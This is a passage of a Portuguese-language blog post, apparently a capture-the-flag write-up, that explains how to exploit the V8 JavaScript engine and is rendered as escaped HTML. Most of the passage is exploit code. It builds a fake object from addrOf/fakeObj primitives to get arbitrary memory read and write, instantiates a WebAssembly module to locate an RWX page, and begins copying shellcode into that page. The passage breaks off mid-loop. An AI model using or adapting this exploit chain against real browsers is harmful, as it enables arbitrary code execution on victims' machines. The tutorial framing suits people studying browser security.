&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fake&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fakeObj&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addrOf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;fake_arr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Assim criamos um novo array onde o primeiro elemento é o float map e criamos um objeto apontando para esse primeiro elemento, o &lt;code&gt;-0x20n&lt;/code&gt; é para esse alinhamento.&lt;br&gt;
Temos agora um fake object com propriedades as quais temos controle, em outras palavras:&lt;br&gt;
&lt;strong&gt;Read/Write baby&lt;/strong&gt; 😎&lt;br&gt;
Vamos ver isso de forma mais pratica.&lt;br&gt;
Em &lt;code&gt;fake_arr[1]&lt;/code&gt; eu irei escrever um endereço somado com alguns cálculos, assim em &lt;code&gt;fake[0]&lt;/code&gt; podemos ler ou escrever para onde o endereço aponta, da seguinte forma:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// pointer tagging que foi comentado no começo do post
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;%&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;addr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// &amp;#34;8n &amp;lt;&amp;lt; 32n&amp;#34; é basicamente um padding
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// o -8 é apenas alinhamento
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;nx&#34;&gt;fake_arr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;itof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;addr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fake&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A função &lt;code&gt;write&lt;/code&gt; é apenas uma variação dessa com a mesma ideia.&lt;/p&gt;
&lt;h3 id=&#34;read-write-mas-cade-a-shell&#34;&gt;Read, write mas cade a shell?&lt;/h3&gt;
&lt;p&gt;Em uma exploração normal, o esperado seria sobrescrever a &lt;code&gt;__malloc_hook&lt;/code&gt; ou &lt;code&gt;__free_hook&lt;/code&gt;, pórem as coisas diferem um pouco durante a exploração de browsers, existem diversas formas de criar uma execução de código nesse contexto.&lt;br&gt;
Eu usarei uma técnica para criar uma página RWX (&lt;strong&gt;R&lt;/strong&gt;ead/&lt;strong&gt;W&lt;/strong&gt;rite/e&lt;strong&gt;X&lt;/strong&gt;ec) com WebAssembly e usarei as primitivas para escrever um shellcode nessa página e assim executá-la.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// https://wasdk.github.io/WasmFiddle/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;wasm_code&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Uint8Array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;([&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;115&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;109&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;133&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;96&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;127&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;130&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;132&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;112&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;131&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;129&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;145&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;109&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;101&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;109&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;111&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;114&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;121&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;109&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;105&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;110&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;138&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;132&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;65&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;wasm_mod&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;WebAssembly&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Module&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;wasm_code&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;wasm_instance&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;WebAssembly&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;Instance&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;wasm_mod&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;wasm_exec_shellcode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;wasm_instance&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;exports&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;O &lt;code&gt;wasm_code&lt;/code&gt; é apenas um código em WebAssembly para:&lt;br&gt;
&lt;code&gt;int main() { return 0; }&lt;/code&gt;&lt;br&gt;
As demais linhas são apenas para iniciar uma instancia.&lt;br&gt;
Agora com uma instancia do WebAssembly podemos preparar para escrever o nosso shellcode:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;rwx_page_addr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;ftoi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addrOf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;wasm_instance&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x68&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;copy_shellcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;shellcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;buf&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;ArrayBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x100&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;dataview&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;DataView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;buf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;buf_addr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;addrOf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;buf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;backing_store_addr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;buf_addr&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x14&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;backing_store_addr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;addr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;shellcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
